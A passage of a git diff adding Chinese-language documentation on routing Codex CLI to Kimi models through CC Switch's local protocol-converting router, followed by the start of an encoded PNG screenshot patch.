Agent,并没有覆盖 Codex。所以想在 Codex 里用 Kimi,需要一层协议转换——这正是 CC Switch 本地路由做的事。 + +CC Switch 的做法是让 Codex 始终连本机路由,仍以 Responses API 发送请求;路由在内部识别当前供应商是否是 Chat 格式,再把请求改写成 Chat Completions 发给上游,最后把 Chat 响应转换回 Responses 形态返回给 Codex。 + +![Codex 供应商列表里的需要路由标记](../images/codex-kimi-routing/01-codex-providers-require-routing.png) + +这条链路主要分成四步: + +1. Codex 接管时,本地配置会被写成 `http://127.0.0.1:15721/v1`,并强制保持 `wire_api = "responses"`。 +2. Provider 的 `meta.apiFormat = "openai_chat"` 会告诉路由:真实上游是 Chat Completions。 +3. 路由把 `/responses` 或 `/v1/responses` 改写到 `/chat/completions`,并把 Responses 请求体转换成 Chat 请求体。 +4. 上游返回后,路由再把 Chat 的 JSON 或 SSE 转回 Codex 能理解的 Responses JSON/SSE。 + +## 准备工作 + +你需要先准备好三样东西: + +- 已安装并能启动的 CC Switch。 +- 已安装 Codex CLI,并至少运行过一次,让 `~/.codex/config.toml` 目录结构存在。 +- 一个 Kimi API Key。 + +Kimi 的 API Key 有两个来源,对应 CC Switch 里两个不同的内置预设: + +- **Kimi 开放平台**(platform.kimi.com):按 token 用量计费的 API Key,对应预设 `Kimi`,OpenAI 兼容 base URL 是 `https://api.moonshot.cn/v1`,默认模型 `kimi-k2.7-code`。 +- **Kimi For Coding**(kimi.com/code):Kimi 会员 Kimi Code 权益生成的专用 Key,对应预设 `Kimi For Coding`,base URL 是 `https://api.kimi.com/coding/v1`,模型统一为 `kimi-for-coding`。 + +两个预设都已经按官方信息配好接口地址和模型,请优先使用预设,不需要手动拼接口路径。 + +## 第一步:添加 Codex 供应商 + +打开 CC Switch,切到顶部的 `Codex` 标签,点击右上角的加号添加供应商。 + +按你手里 Key 的类型,在内置预设里选择 `Kimi`(开放平台按量计费)或 `Kimi For Coding`(会员订阅),然后只需要做两件事: + +- 填入对应的 Kimi API Key。 +- 保存供应商。 + +![Kimi Codex 供应商表单中的上游格式设置](../images/codex-kimi-routing/02-kimi-codex-routing-form.png) + +预设已经内置 Kimi 的请求地址、默认模型、模型菜单、thinking/reasoning 参数,并把 `高级选项` 里的 `上游格式` 预设为 `Chat Completions(需开启路由)`。你可以按需调整默认模型或模型显示名——例如开放平台预设默认是 `kimi-k2.7-code`,也可以按官方文档换成 `kimi-k2.7-code-highspeed`;协议转换交给路由层完成即可。 + +## 第二步:开启本地路由并接管 Codex + +进入设置里的 `路由` 页面,展开 `本地路由`,完成两个开关: + +1. 打开 `路由总开关`,启动本地服务。默认地址是 `127.0.0.1:15721`。 +2. 在 `路由启用` 中打开 `Codex`。如果只想让 Codex 走路由,可以保持 Claude、Gemini 关闭。 + +![本地路由页面中启用 Codex 接管](../images/codex-kimi-routing/03-local-route-codex-takeover.png) + +接管后,CC Switch 会把 Codex 的 live 配置指向本机路由,并用占位符管理认证。真实 Kimi Key 仍保存在 CC Switch 的 Provider 配置里,由本地路由在转发时注入,不需要你把 Key 暴露给 Codex live 配置。 + +## 第三步:切换供应商并重启 Codex + +回到 Codex 供应商列表,点击 Kimi 供应商的 `启用`。如果看到 `需要路由` 标记,说明这个供应商必须在路由运行时使用;没有启动路由时,CC Switch 会弹出“需要路由服务才能正常使用”的提示。 + +切换后建议重启当前 Codex 终端会话。原因是: + +- Codex 进程可能已经读取过旧的 `config.toml`。 +- `model_catalog_json` 生成后,`/model` 菜单通常需要新进程才能刷新。 + +进入 Codex 后,可以用 `/model` 查看当前模型是否来自 Kimi 预设,例如 `Kimi K2.7 Code` 或 `Kimi For Coding`。目前 Codex app 不支持多模型选择时,会默认使用配置里的第一个模型。随后发一个小问题,确认路由面板的请求数增长,或者在用量/请求日志里看到 Codex 请求即可。 + +## 其它 Chat 供应商怎么处理 + +Kimi、DeepSeek、MiniMax、SiliconFlow 等常见 Chat 格式供应商在 CC Switch 里已有预设,优先用预设即可。只有预设里没有的供应商,才需要选择自定义配置;这时按对方文档填 API Key、base URL 和模型,并把 `高级选项` 里的 `上游格式` 选为 `Chat Completions(需开启路由)`。 + +如果上游直接支持 OpenAI Responses API,把 `上游格式` 选为 `Responses` 即可;这时 CC Switch 按 Responses 直连,不做 Chat 转换。 + +## 常见问题 + +**Codex 报 404 或找不到 `/responses`** + +通常是没有开启 Codex 接管,或者你手动把 Kimi 的 Chat base URL 直接写给了 Codex——Kimi 上游没有 `/responses` 端点,这样一定会 404。检查 `~/.codex/config.toml` 是否指向 `http://127.0.0.1:15721/v1`。 + +**Kimi 上游报 401 或 403** + +先确认 Key 和预设是否匹配:开放平台的 Key 只能配 `Kimi` 预设,Kimi Code 会员权益的 Key 只能配 `Kimi For Coding` 预设,两套 Key 不能混用。 + +**Kimi 上游报 404** + +如果用的是内置 Kimi 预设,先确认当前供应商确实来自预设,并且 Codex 路由已启用。只有在使用自定义供应商时,才需要额外检查 base URL:它应该是服务根地址,而不是带 `/chat/completions` 的完整接口路径。 + +**`/model` 看不到 Kimi 模型** + +保存供应商后重启 Codex。CC Switch 会生成 `cc-switch-model-catalog.json` 并把路径写入 `model_catalog_json`,但正在运行的 Codex 进程不一定会热加载模型目录。 +目前 Codex app 不支持多模型选择,默认使用配置的第一个模型。 + +**开了路由但请求仍走错供应商** + +确认三处状态一致:Codex 标签下当前供应商是 Kimi;本地路由服务正在运行;`路由启用` 里 Codex 开关已打开。 + +**可以用官方 OpenAI Codex 账号走本地路由吗** + +不建议。CC Switch 会在本地路由接管模式下阻止切到官方供应商,因为用代理访问官方 API 可能带来账号风险。路由主要用于第三方、聚合或协议转换场景。 + +## 参考链接 + +- [CC Switch 用户手册:添加供应商](../user-manual/zh/2-providers/2.1-add.md) +- [CC Switch 用户手册:代理服务](../user-manual/zh/4-proxy/4.1-service.md) +- [CC Switch 用户手册:应用路由](../user-manual/zh/4-proxy/4.2-routing.md) +- [Kimi 开放平台:在编程工具中使用 Kimi K2.7 Code 模型](https://platform.kimi.com/docs/guide/agent-support) +- [Kimi Code 文档:概览](https://www.kimi.com/code/docs/) +- [Kimi Code 文档:在第三方 Coding Agent 中使用](https://www.kimi.com/code/docs/third-party-tools/other-coding-agents.html) diff --git a/docs/images/codex-kimi-routing/01-codex-providers-require-routing.png b/docs/images/codex-kimi-routing/01-codex-providers-require-routing.png new file mode 100644 index 0000000000000000000000000000000000000000..fb56182bc41918778757158f430e055b001f9182 GIT binary patch literal 381635 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 